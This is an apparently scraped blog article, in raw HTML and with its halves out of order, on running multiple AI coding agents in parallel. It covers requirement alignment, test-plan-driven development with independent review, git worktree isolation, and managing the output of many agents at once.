Isolate parallelism with git worktree\u003C\u002Fh3>\u003Cp>\u003Cstrong>In the same project, push several non-overlapping directions simultaneously, or have multiple Agents run the same requirement with different approaches and then merge the best – the former is 'doing different things separately', the latter is a direct application of the earlier point 'making failure cheap'.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Technically, git worktree is recommended for isolation. It allows you to create multiple independent working directories from the same repo, each checking out a different branch – Agents work without interference, and after completion, they merge back to the main branch in order of priority. Merge conflicts can be resolved with Agent assistance.\u003C\u002Fp>\u003Cp>The key consideration for this mode: choose directions with low code coupling between parallel tasks. If two tasks heavily modify the same set of files, the cost of merge conflicts will eat up the time saved by parallelism. A simple rule of thumb: overlap of modified files &lt;20% is fine for parallelism; &gt;50% suggests serializing or re-splitting the task.\u003C\u002Fp>\u003Ch3>Mode 3: Same work item, different transaction types – Cross parallelism\u003C\u002Fh3>\u003Cp>\u003Cstrong>Within the same feature, split work by transaction type and parallelize.\u003C\u002Fstrong> Even the development of the same feature includes various transaction types of different natures (backend logic tests, UI tests, known bug fixes…), which can often be performed in parallel.\u003C\u002Fp>\u003Cp>For a concrete example, suppose you are developing an 'Order Export' feature. You can launch three Agents simultaneously: the first Agent handles backend logic tests – constructing a backend test plan covering various edge cases (empty orders, large data volumes, concurrent exports, etc.), writing test cases and executing them. The second Agent handles UI-level tests – building end-to-end UI tests with Playwright, verifying the export button interaction flow, file download behavior, error state display, etc. The third Agent fixes several known bugs you've observed during earlier development.\u003C\u002Fp>\u003Cp>These three transaction types are different (backend tests, UI tests, bug fixes), involving different code areas and toolchains, making them naturally suitable for parallelism.\u003C\u002Fp>\u003Ch3>Mode 4 (Frontier experiment): Parallelism within a single task – decomposed and scheduled by the Agent itself\u003C\u002Fh3>\u003Cp>\u003Cstrong>This mode is currently in early exploration and its behavior is not yet stable – it is presented here to set your expectations, not as a recommendation to rely on it today.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In the first three modes, you decide the granularity of parallelism; Mode 4 delegates control to the Agent itself:\u003Cstrong>Throw a task at it, and the Agent itself identifies which submodules can be developed in parallel, and splits them into multiple concurrent streams.\u003C\u002Fstrong> For example, Claude Code's team feature already shows the prototype – you don't need to manually open worktrees or assign tasks; the Agent handles scheduling itself. But current limitations are real: context sharing across sub-Agents is still fragile, collisions occur when boundaries are unclear, and manual intervention is still needed during the merge phase.\u003C\u002Fp>\u003Cp>However, the prerequisites for making this mode work can be built starting today –\u003Cstrong>Module boundaries, interface contracts, and data flow must be clearly defined before development\u003C\u002Fstrong>. If several sub-Agents have to repeatedly align interfaces during coding, they will quickly collide, making the merge worse than serial development. This is precisely the direct payoff of the third key: projects with a solid architecture phase naturally have the potential for Agent-driven autonomous parallelism; conversely, if the architecture phase is neglected, even if the underlying system supports team mode, you won't enjoy this benefit.\u003C\u002Fp>\u003Cp>\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-dev\">zero-review\u002Fauto-dev\u003C\u002Fa> The architecture design phase of zero-review\u002Fauto-dev has already enforced 'modularity + interface contracts' as a hard requirement, precisely so that downstream can immediately use it once this capability stabilizes.\u003C\u002Fp>\u003Cp>In practice, the first three modes are not mutually exclusive – you can embed Mode 3 within Mode 2's worktree framework, or use Mode 1 for cross-project coordination in large organizations. The finer the granularity, the higher the demand on your attention switching ability, but the greater the benefit.\u003C\u002Fp>\u003Ch2>New bottleneck from parallelism: AI output you can't digest in time\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> This is not a future bottleneck – you will hit it as soon as you launch the 3rd Agent. Output (code, test reports, feedback) piles up on you, and it needs to be digested by Agents; this closed loop is not yet running.\u003C\u002Fp>\u003Cp>Suppose you have launched several parallel Agents as described, each producing code, test reports, user test feedback, and retrospective summaries. In the first week, you'll feel the rhythm is great. In the second week, you'll find that – most of your day is spent reading various reports from the Agents, and you realize many of them are actually redundant or low-priority trivial issues pushed to you. You've gone from 'code reviewing' to 'report reading', and the bottleneck has quietly returned to you.\u003C\u002Fp>\u003Cp>The imagined solution is the same as the earlier bottleneck-breaking approach –\u003Cstrong>Output also needs to be digested by the Agent\u003C\u002Fstrong>: Read in batches to find patterns and duplicates, merge different descriptions of the same thing, assign to the next development round by type, prioritize based on 'how many users affected × is there a temporary workaround', attach a reason for each, only escalate high-priority items that truly need your decision. Once this is in place, the entire chain becomes a closed loop: you issue requirements → Agent performs parallel development → output is automatically digested and organized by the Agent → new work items are sent back to the Agent.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_259\" src=\"\u002Fuploads\u002Fdocx_image_1777386381610_3_4dd66ae388.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>But this closed loop is not yet operational.\u003C\u002Fstrong> I am at \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\">zero-review\u003C\u002Fa> left a spot for this line in (\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-triage\">auto-triage\u003C\u002Fa> skill), but to be honest, today it cannot reliably replace humans in this task—classification easily loses focus, merging easily misses truly independent issues, priority judgment lacks business perspective. This is the part of the entire collaboration chain that I find most unreliable and most worth continuing to invest in.\u003C\u002Fp>\u003Cp>Before this closed loop is operational, what you can do is establish some transitional buffers: enforce a structured 'summary + severity + suggested action' template for each Agent's output, so that you only need a quick glance each day to make priority decisions; write frequent low-priority issues into the Skill so the Agent ignores them automatically; set a fixed time block for 'reading output daily' and don't let it fragment your entire workday. But these are just buffers—the real solution is to complete the fourth building block of the entire closed loop, and that day has not yet come.\u003C\u002Fp>\u003Ch2>Some practical advice\u003C\u002Fh2>\u003Cp>\u003Cstrong>Start with two Agents, gradually increase.\u003C\u002Fstrong> If you don't have experience with parallel development, don't start with five or six Agents right away. First try managing two simultaneously, get familiar with the rhythm, then gradually increase.\u003Cstrong>The comfort upper limit for beginners is usually 3–4 Agents\u003C\u002Fstrong>—any more than that, just switching context and reviewing test plans will become a new bottleneck. To break through this limit, it's not willpower that truly matters, but\u003Cstrong>more mature task decomposition techniques\u003C\u002Fstrong>: cut a large task into sufficiently independent pieces in advance, so that each Agent's output doesn't require frequent interruptions from you, and raise the granularity of review from 'each output' to 'a batch of outputs'. This technique grows gradually through practice—once you are skilled, running 6–8 Agents simultaneously is possible.\u003C\u002Fp>\u003Cp>\u003Cstrong>Requirement alignment cannot be parallelized.\u003C\u002Fstrong> This is a counterintuitive but important point. Although development execution can be parallelized, the requirement alignment phase requires your deep thinking, which is hard to truly parallelize. The recommended approach is: complete requirement alignment for each task serially (10-30 minutes each), then start development execution in parallel. Think of requirement alignment as 'loading bullets' and development execution as 'shooting'—loading requires focus, shooting can be simultaneous.\u003C\u002Fp>\u003Cp>\u003Cstrong>Build a project-specific Skill library and load it continuously.\u003C\u002Fstrong> Engineering standards, architectural principles, testing requirements, team preferences—write them into one Skill, uniformly loaded when each Agent starts, to ensure consistent output style and quality standards. Previous sections have repeatedly discussed how this library grows through practice; here just one reminder:\u003Cstrong>For the output of parallel Agents to be seamlessly merged, the prerequisite is that they receive the same set of specifications.\u003C\u002Fstrong> Otherwise, three Agents will produce three different styles, and merging them will be like a patchwork quilt.\u003C\u002Fp>\u003Cp>\u003Cstrong>Link 'review granularity' with 'project complexity'.\u003C\u002Fstrong> Low-complexity projects (internal tools, prototypes)—let it go, just glance at the output and test plan; high-complexity projects (critical online paths, systems with security\u002Fperformance requirements)—review test plans line by line, spot-check architecture decisions, and for key modules, it's still worth having a human read the code. This is not about being 'lazy' or 'diligent', but about directing limited attention to where it is truly needed.\u003C\u002Fp>\u003Ch2>But this won't make you feel more relaxed\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\n Output is amplified, but your mental consumption per unit time is also amplified—the arithmetic is favorable, but it's not free; you have to proactively create some slack.\u003C\u002Fstrong>After all the good talk, I must add an honest note: this path will not make things easier; in fact, it will probably be more tiring. Output is amplified, but the mental effort you expend is also amplified—and with almost no slack.\u003C\u002Fp>\u003Cp>Coding has a rhythm—write a few lines, run it, change a bit, run again—hands and brain alternate, and when stuck, you can semi-automatically try for a while. After switching to parallel scheduling mode, you spend all day making judgments: accept this requirements document? Which option? Which priority? What is seen in this retrospective? One Agent decides direction every few minutes, five Agents producing simultaneously means five judgments piled in front of you. The time may not be longer, but\u003C\u002Fp>\u003Cp>The time may not be longer, but\u003Cstrong>Mental expenditure per unit of time increases significantly\u003C\u002Fstrong>。\u003C\u002Fp>\u003Cp>In other words, you've gone from \"physical plus mental\" to \"pure mental\". The math is favorable — output magnifies several times — but total mental investment hasn't decreased, it's even higher.\u003C\u002Fp>\u003Cp>So you must actively create gaps: read status reports in batches, don't let Agent outputs fragment your attention like chat messages; set aside uninterrupted time to think about direction and process; don't mistake \"letting go\" for the illusion that \"I don't have to do anything\". What AI saves is your hands-on work; the saved time doesn't automatically become leisure — you have to actively give it space.\u003C\u002Fp>\u003Cp>You are no longer the person typing on the keyboard; you are\u003Cstrong>the person who designs and runs this entire collaborative system\u003C\u002Fstrong>. Your position is higher, the leverage is greater, and the demands on judgment are also higher. Tiring as it is — but this kind of fatigue is the kind that truly creates value.\u003C\u002Fp>\u003Ch2>Summary\u003C\u002Fh2>\u003Cp>\u003Cstrong>The essence of parallel development is not \"running more Agents simultaneously\", but \"reducing the number of times each Agent requires human intervention\".\u003C\u002Fstrong> Only when each Agent can independently complete high-quality work with minimal human oversight does parallelism become meaningful.\u003C\u002Fp>\u003Cp>Behind this are three keys: replace repeated communication with structured requirement alignment processes (remove requirement transmission bottlenecks), replace line-by-line code review with test-plan-driven development (remove correctness bottlenecks), replace manual architecture oversight with engineering discipline from Skill injection (remove maintainability bottlenecks). Add one more strategic change: once failure becomes cheap, \"try multiple paths in parallel, merge the best\" becomes the basic approach.\u003C\u002Fp>\u003Cp>Once these three conditions are fully refined, your role shifts from \"pair programmer for each Agent\" to \"technical lead for multiple Agents\" — you are responsible for setting direction, defining standards, reviewing test plans, and doing spot checks at key nodes; the actual coding, testing, debugging, and most architectural details are completed autonomously by the Agents.\u003C\u002Fp>\u003Cp>\u003Cstrong>And this dividend is not limited to development — any mental labor that can be decomposed into independent subtasks is equally applicable to this approach.\u003C\u002Fstrong> Writing code is just the first scenario that works.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>Introduction\u003C\u002Fh2>\u003Cp>Entering 2026, AI Coding has shifted from \"assisted completion\" to \"autonomous development.\" What truly transforms productivity is not that a single Agent writes code faster, but that you can\u003Cstrong>Launch multiple Agents simultaneously\u003C\u002Fstrong>, letting them advance different tasks for you in parallel.\u003C\u002Fp>\u003Cp>It's worth noting that what can be parallelized goes far beyond just writing code. As Agents can do more and more—researching, data analysis, writing documents, running tests, replying to emails, designing—almost all mental work that can be broken into independent subtasks has the potential for parallelization. This article only focuses on\u003Cstrong>development\u003C\u002Fstrong>this most mature scenario; but if you are doing other work, the ideas here can be transferred for consideration.\u003C\u002Fp>\u003Cp>Back to development. The core question this article aims to answer is:\u003Cstrong>How to have multiple AI Agents develop in parallel while ensuring output quality does not collapse?\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To answer this question, we first need to understand:\u003Cstrong>What is blocking parallelism?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>Three Main Bottlenecks\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong>&nbsp;What really limits AI development efficiency is not that AI writes slowly, but three links that require deep human involvement—they turn humans into single points of bottleneck, no matter how many Agents there are.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 1: How to clearly convey requirements to the Agent?\u003C\u002Fstrong>&nbsp;The ideas in your mind are vague, implicit, and full of context, while the Agent needs clear, executable instructions. The gap in between often needs to be filled through repeated communication.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 2: How to ensure that the code written by the Agent is functionally correct?\u003C\u002Fstrong>&nbsp;The code generated by the Agent looks plausible, but when actually run, it may have bugs everywhere. In the past, we relied on humans to review every line of code, find issues, provide feedback, and modify, repeating this process.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 3: How to ensure code maintainability?\u003C\u002Fstrong>&nbsp;Code written by one Agent might run at the moment, but without reasonable architectural design and engineering standards, as the project progresses, the codebase quickly becomes a mess—chaotic structure, unclear responsibilities, changing one place breaks three.\u003C\u002Fp>\u003Cp>These three bottlenecks share a common feature: they all require a human-in-the-loop. And human attention is serial and limited. That's why in the past, even if you could launch five Agents simultaneously, efficiency wouldn't increase by five times—because you still had to review their outputs one by one, communicate requirements one by one, and control the architectural direction one by one.\u003Cstrong>Parallel Agents ultimately get stuck at the human single-point bottleneck.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_256\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1777386378569_0_3a225796d8-1.png\">\u003C\u002Fp>\u003Ch2>2025 and Before: Human is the Driver, AI is the Co-pilot\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong>&nbsp;The common point of solutions before Opus 4.5 was \"better collaboration between humans and AI\" rather than \"letting AI handle things on its own\"—human is the driver, AI is the co-pilot, parallelism is meaningless, it just turns queuing into concurrent queuing.\u003C\u002Fp>\u003Cp>Before the second half of 2025, the industry's solution to these three bottlenecks had a common theme: let humans and AI collaborate better, rather than letting AI finish things on its own—human is the driver, AI is the co-pilot (Copilot), parallel development had not yet arrived.\u003C\u002Fp>\u003Cp>In\u003Cstrong>Requirement Delivery\u003C\u002Fstrong>In terms of aspects, there are two mainstream approaches. One is the Spec-based approach, which uses formal documents to describe requirements as precisely as possible before handing them over to the Agent for execution; the other is through multi-turn conversations, repeatedly negotiating with the Agent until it truly understands what you want. Both approaches require continuous human involvement.\u003C\u002Fp>\u003Cp>In\u003Cstrong>correctness assurance\u003C\u002Fstrong>aspects, it largely relies on manual code review. Humans review the code generated by the Agent section by section, identify logical flaws or boundary omissions, and then feed the review comments back to the Agent. After several rounds of revisions, usable code is finally produced.\u003C\u002Fp>\u003Cp>In\u003Cstrong>maintainability assurance\u003C\u002Fstrong>aspects, architecture design and code organization remain human-led work. You need to tell the Agent which module the code should go into, which design pattern to use, and which layering principles to follow; otherwise, the Agent will improvise on its own, producing code with a wide variety of structures.\u003C\u002Fp>\u003Cp>At this stage, true \"autopilot\" has not yet arrived. Therefore, AI Coding products in this period mostly focus on optimizing the human-AI collaboration interface: helping you discuss requirements more efficiently (e.g., early CodeBuddy, various Spec-based programming tools), or making code review more convenient (e.g., IDE products like Cursor).\u003C\u002Fp>\u003Cp>Parallel development doesn't make much sense at this stage—\u003Cstrong>Even if you open five Agent windows, they're all waiting for you to review code, answer questions, and confirm solutions.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>2025 H2: A Leap in Capabilities\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> In the second half of 2025, frontier models collectively leaped in four directions: debugging, instruction following, Skill rules, and Computer Use. For the first time, mechanisms can replace humans in addressing the three previous bottlenecks; at the same time, failure becomes cheaper, and \"try multiple paths in parallel and pick the best\" becomes a basic approach.\u003C\u002Fp>\u003Cp>In the second half of 2025, frontier models made a significant collective leap in code ability, instruction following, and long-horizon task completion—exemplified by models like Opus 4.5, which for the first time allow mechanisms to replace deep human involvement in addressing the three previous bottlenecks. In other words, truly parallel development finally has the prerequisites.\u003C\u002Fp>\u003Cp>This leap is specifically embodied in four directions:\u003C\u002Fp>\u003Cp>\u003Cstrong>Significant improvement in autonomous debugging.\u003C\u002Fstrong> As long as the Agent is given a runnable debugging environment (terminal, logs, test framework), it can autonomously locate and fix most common bugs encountered in daily development. In the past, humans had to point out \"there's an off-by-one error here\"; now the Agent runs tests, reads error messages, and traverses several layers of the call stack by itself to resolve the issue.\u003C\u002Fp>\u003Cp>\u003Cstrong>\"Understanding correctly\" more easily translates into \"implementing correctly.\"\u003C\u002Fstrong> If the Agent has no deviation in understanding the requirements and is given a test environment and clear acceptance criteria, then the code it writes, after autonomous testing and fixing, can be basically guaranteed to be functionally correct in common business scenarios. Non-functional requirements (concurrency, performance, security) and architectural trade-offs remain exceptions, as discussed later.\u003C\u002Fp>\u003Cp>\u003Cstrong>Engineering norms can be partially internalized through Skills.\u003C\u002Fstrong> Providing the Agent with structured Skill files containing software engineering practices—naming, layering, module boundaries, commit conventions, etc.—enables it to comply with the\u003Cstrong>vast majority\u003C\u002Fstrong>. Note it's \"vast majority\": many design principles inherently conflict with each other, and even senior engineers often struggle to judge them. The Agent will also make mistakes in such trade-offs. This point will be elaborated on later.\u003C\u002Fp>\u003Cp>\u003Cstrong>General Computer Use capability has greatly improved.\u003C\u002Fstrong> The Agent is no longer limited to reading and writing code files. It can smoothly interact with the terminal, browse the web to look up documentation, operate GUIs to complete configuration tasks, and some have even used the Agent as an advanced shell. A direct consequence is that many software installation and environment configuration documents are becoming \"for the Agent to read\"—a Markdown file, and the Agent can automatically set up the environment.\u003C\u002Fp>\u003Cp>These four changes combined mean:\u003Cstrong>Humans can largely step back from the loop.\u003C\u002Fstrong> It's not complete non-participation, but the mode of participation shifts from \"line-by-line review\" to \"setting rules + accepting results + spot-checking key nodes.\" This opens the door to truly parallel development.\u003C\u002Fp>\u003Ch3>One additional hidden change: Failure becomes cheap\u003C\u002Fh3>\u003Cp>In addition to the four \"capability\" changes above, there is one more\u003Cstrong>At the strategic level\u003C\u002Fstrong>the change is worth discussing separately:\u003Cstrong>The cost of having an Agent try a solution is much lower than that of having a human try one.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Before AI, you wouldn’t easily let an engineer \"implement version A first, then version B\" — human labor is too expensive to bear. So in the design phase, you had to think through all the trade-offs carefully; starting without clarity was a luxury. With Agents, this constraint has loosened —\u003Cstrong>\"Can’t figure it out? Then have several Agents each write one implementation, run tests, compare results, and then decide.\"\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This seems like a mere quantitative change, but it actually triggers a qualitative shift in strategy — \"try multiple paths in parallel and pick the best\" has gone from a rare practice to a daily option. This principle runs through the various parallel modes later in this article: in many scenarios you parallelize not because tasks can be cleanly split, but because\u003Cstrong>trying is cheaper than thinking it through\u003C\u002Fstrong>. The \"Mode 2\" mentioned later, where \"let Agents each write one implementation and merge the best ones,\" is a direct embodiment of this.\u003C\u002Fp>\u003Ch2>Three Keys to Reducing Human Involvement\u003C\u002Fh2>\u003Cp>\u003Cstrong>Since the bottleneck lies in human involvement, the solution is to replace real-time human intervention with mechanisms.\u003C\u002Fstrong> The following three sections correspond to the three bottlenecks and provide specific practices — together, they form the foundation for parallel development.\u003C\u002Fp>\u003Cp>A word of caution:\u003Cstrong>None of these three keys are \"plug-and-play\" — each requires you and the project Agent to iterate and calibrate together.\u003C\u002Fstrong> What accumulates during this calibration process is more than just one thing — Skill files are the most explicit, capturing pitfalls, project conventions, and patterns where Agents tend to make mistakes; but there are also things that can only exist as\u003Cstrong>intuition and feel\u003C\u002Fstrong>that stay with you: what types of tasks the Agent is reliable on, where you must keep an eye, and when its confidence should be discounted. These feelings are hard to express in documents, but they are decisive for how much you can let go. Before calibration is complete, you can't be optimistic; after calibration, you can truly let go.\u003C\u002Fp>\u003Cp>Regarding tools: I have distilled my practices along these lines into a framework called\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\">zero-review\u003C\u002Fa> as a reference implementation. At the end of each key below, I will point to the corresponding skill; readers who need details can look there. But once again —\u003Cstrong>This article is about the approach, not the framework; you can achieve the same effect with your own stack.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_257\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1777386380353_1_741ecc84ad-1.png\">\u003C\u002Fp>\u003Ch3>First Key: Requirement Alignment — Let the Agent Figure Out What You Want\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Let the Agent identify the implicit assumptions in the requirements and produce several complete solutions sorted by priority for you to choose from — you shift from being the \"answerer of questions\" to the \"reviewer of solutions.\"\u003C\u002Fp>\u003Cp>Unclear requirements are the most common cause of rework in AI development. You think you've made it clear, the Agent thinks it understood, but the result is completely different from what you had in mind. To solve this, there are two complementary approaches.\u003C\u002Fp>\u003Cp>\u003Cstrong>Approach 1: Exhaustive Questioning — Let the Agent Proactively Expose Blind Spots\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The specific operation is: first, describe what you want as clearly as possible in natural language, then switch to Plan mode (or equivalently, explicitly tell the Agent not to start coding) and make a request: \"Before you do anything, tell me: what are your uncertainties about this requirement? List your questions.\"\u003C\u002Fp>\u003Cp>The Agent will give you a set of questions. You answer them one by one, but do not let it start planning or coding — continue asking: \"Based on my answers, are there any new uncertainties? Keep asking.\" It's like a requirements review meeting: you are the product manager, and the Agent is the developer continuously probing for details.\u003C\u002Fp>\u003Cp>This process can last from 10 minutes to half an hour, depending on the complexity of the requirements. When the Agent's questions start to become trivial or repetitive, it means the core ambiguities have been covered. At that point, ask it to output a structured requirements document as the basis for subsequent development.\u003C\u002Fp>\u003Cp>\u003Cstrong>Approach 2: Solution Generation + Human Selection — Let the Agent Guess Your Intentions, You Just Pick\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Exhaustive questioning, though thorough, is time-consuming and essentially still involves humans outputting information. The second approach is more efficient: let the Agent fill in the blanks in the requirements itself.\u003C\u002Fp>\u003Cp>Here's how it works: You still start by providing a natural language requirements description, but this time you don't answer the Agent's questions. Instead, you give it a different instruction: \"Analyze my requirements description, identify parts that are vague, undefined, or have multiple reasonable interpretations. Then for each such ambiguity, based on your world knowledge (if needed, search online for how similar products handle it), give the top 3 most reasonable solutions in your opinion, and explain why you recommend them.\"\u003C\u002Fp>\u003Cp>For example: if you say \"Create a user registration feature\", the Agent will identify a series of issues you didn't mention but must decide—register with email or phone number? Is email verification needed? What are the password complexity requirements? What should the registration failure message look like? Then it will refer to mainstream product practices (e.g., \"most SaaS products use email registration + email verification link\") and give recommended solutions for each issue.\u003C\u002Fp>\u003Cp>The core advantage of this approach is:\u003Cstrong>You change from being the \"answerer of questions\" to the \"reviewer of solutions\".\u003C\u002Fstrong> Reviewing solutions is much faster than answering questions—you just glance and say \"OK, go with your recommendation\" or \"Change the third one to this.\" A large amount of requirement details are automatically filled by the Agent based on prior knowledge, with humans only making choices at key decision points.\u003C\u002Fp>\u003Cp>The two approaches can be combined. For core requirements where you already have a clear idea, use approach 1 for thorough communication; for peripheral requirements where you don't care much about the specific implementation, use approach 2 to let the Agent make autonomous decisions. The final output is a complete requirements document covering all necessary details, which can be directly handed to the Agent for execution without repeated confirmation during development.\u003C\u002Fp>\u003Cp>It should be particularly noted:\u003Cstrong>Requirements alignment is the only step in the entire process that cannot be truly parallelized\u003C\u002Fstrong>—it consumes your deep attention. This constraint will be mentioned again later when discussing parallel scheduling.\u003C\u002Fp>\u003Cp>For specific practice, refer to \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-req\">zero-review\u002Fauto-req\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch3>Second Key: Functional Correctness—Test Plan-Driven Development\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Before development, write a complete test plan covering unit\u002Fintegration\u002FE2E; the test plan must be independently reviewed by another party (another Agent or you) to prevent the same Agent from contaminating both test and implementation. Write a separate Skill for non-functional requirements.\u003C\u002Fp>\u003Cp>Humans no longer review code line by line, so who ensures the code is correct? The answer: testing. But not just a few arbitrary tests—instead, produce a complete test plan before development.\u003C\u002Fp>\u003Cp>\u003Cstrong>Here's how:\u003C\u002Fstrong> Before the Agent writes any business code, have it output a test plan based on the requirements document. This test plan should cover three levels: unit tests, verifying the behavior of each function and module; integration tests, verifying that module collaboration meets expectations; end-to-end functional tests, simulating real user operation paths to verify the entire functional flow works.\u003C\u002Fp>\u003Cp>These test cases represent \"all conditions that a correct implementation must satisfy.\" They are determined before development begins and become the acceptance criteria during the Agent's development process. After the Agent completes code writing, it runs these tests on its own. If any test fails, the Agent automatically enters a debug-fix loop until all tests pass.\u003C\u002Fp>\u003Cp>In this mode, you don't need to read every line of code written by the Agent. You only need to review whether the test plan itself is reasonable and covers key scenarios. The cognitive cost of reviewing a test plan is far lower than reviewing implementation code—because the test plan describes \"what should happen,\" while the implementation code describes \"how to do it specifically.\" As the requirements proposer, you naturally have judgment on the former, while the latter requires deep understanding of code details.\u003C\u002Fp>\u003Ch4>Prerequisite: Only when the Agent can act can testing be discussed\u003C\u002Fh4>\u003Cp>The Agent runs tests, debugs, and does end-to-end on its own—all of this is built on a frequently omitted prerequisite:\u003Cstrong>It needs an environment where it can actually operate the system.\u003C\u002Fstrong> Many teams give the Agent a docker with only source code, and then wonder why the Agent can't detect problems.\u003C\u002Fp>\u003Cp>\"Being able to operate\" is not just \"having a docker image that can run.\" You need to expose the corresponding operational capabilities to the Agent based on the application type:\u003Cstrong>operational capabilities\u003C\u002Fstrong> expose to the Agent together:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Command line \u002F API\u003C\u002Fstrong> — shell + logs + testing framework, lowest threshold.\u003C\u002Fli>\u003Cli>\u003Cstrong>Web Application\u003C\u002Fstrong> — besides making the service run, you must expose\u003Cstrong>browser use capability\u003C\u002Fstrong>(Playwright service, headless Chrome with CDP endpoint, or VNC). Without this layer, the Agent cannot actually click buttons, cannot see page responses, and cannot perform real end-to-end testing.\u003C\u002Fli>\u003Cli>\u003Cstrong>Desktop \u002F GUI Application\u003C\u002Fstrong> — must expose\u003Cstrong>GUI use capability\u003C\u002Fstrong>(X11 forwarding, xdotool, screenshot pipeline). Otherwise the Agent can only \"imagine\" what user operations look like.\u003C\u002Fli>\u003Cli>\u003Cstrong>Complex System\u003C\u002Fstrong>(state machine, asynchronous, concurrent, long-running processes) — besides logs,\u003Cstrong>must expose a debugger\u003C\u002Fstrong>(gdb \u002F DAP \u002F Chrome DevTools Protocol \u002F language's built-in debugger). Let it set breakpoints, inspect variables, view call stacks, instead of guessing by piling print statements in bash.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>A simple self-check:\u003Cstrong>Imagine a new engineer who can only use the tools you provided — can they reproduce a live bug?\u003C\u002Fstrong> If they cannot, the Agent cannot either.\u003C\u002Fp>\u003Cp>The capabilities given to the Agent must align with those given to the engineer. This is the foundation on which TPDD itself can stand — if the provisioning is insufficient, all the subsequent test plans, independent reviews, and role-playing are just empty talk.\u003C\u002Fp>\u003Ch4>Why the test plan must have an independent review\u003C\u002Fh4>\u003Cp>Here is a trap that is easy to overlook: if both the test plan and the implementation are given to\u003Cstrong>the same\u003C\u002Fstrong> Agent to complete, then its understanding bias of the requirements will\u003Cstrong> simultaneously contaminate both the tests and the code\u003C\u002Fstrong> — the tests and code will both err, both pass with green lights, and you still think everything is OK.\u003C\u002Fp>\u003Cp>This is the biggest logical flaw in the TPDD paradigm.\u003Cstrong>The solution is: the test plan must go through an \"independent\" review before entering the implementation phase.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\"Independent\" has at least two ways to achieve it —\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Human review\u003C\u002Fstrong>. You, as the requester of the requirements or a senior colleague, review from a business perspective. The advantage is that you bring domain knowledge and business judgment; the disadvantage is that it consumes your deep attention and cannot be parallelized.\u003C\u002Fli>\u003Cli>\u003Cstrong>Review by another Agent\u003C\u002Fstrong>. Start a brand new session of an Agent, give it only the requirements document and the test plan (not the implementation context), and let it find flaws. Essentially, it is multi-Agent cross-validation — the understanding bias of one Agent is unlikely to completely coincide with the bias of another fresh Agent, so it can catch a considerable portion of errors caused by \"understanding bias\". The advantages are low cost, parallelism, and no fatigue; the disadvantage is that its business perspective is still second-hand.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>The two review methods are not mutually exclusive; they can be used in combination based on project complexity.\u003C\u002Fstrong>:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Low complexity, controllable risk projects\u003C\u002Fstrong>(Internal tools, prototypes, exploratory experiments) — Just have another Agent review it; you glance at the conclusion to confirm the general direction hasn't gone astray.\u003C\u002Fli>\u003Cli>\u003Cstrong>High complexity, high cost of mistakes projects\u003C\u002Fstrong>(Critical online paths, finance-related, core modules with multi-person collaboration) — Agent first reviews to filter out obvious pitfalls, then you conduct a business perspective review, paying special attention to three blind spots: (a) Are all boundary conditions covered? (b) Are error paths and exception branches covered? (c) Does the test actually verify \"what should happen\" rather than \"what already happened\" (self-loop)?\u003C\u002Fli>\u003C\u002Ful>\u003Cp>In other words, the review step cannot be omitted, but the subject and depth of the review should match the project complexity.\u003Cstrong>The most critical point is \"independence\" — the reviewer must not be the same Agent in the same session that writes the tests and implementation. As long as this rule is followed, contamination can most likely be blocked.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch4>Scenarios not covered by functional tests: write dedicated Skills\u003C\u002Fh4>\u003Cp>Basic unit\u002Fintegration\u002Fend-to-end tests address \"functional correctness.\" But there are several types of requirements in a project that are not functional,\u003Cstrong>the default test plan does not cover them\u003C\u002Fstrong>:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Non-functional requirements\u003C\u002Fstrong>— concurrency race, performance bottlenecks, memory leaks, security boundaries.\u003C\u002Fli>\u003Cli>\u003Cstrong>Behavior after long-term 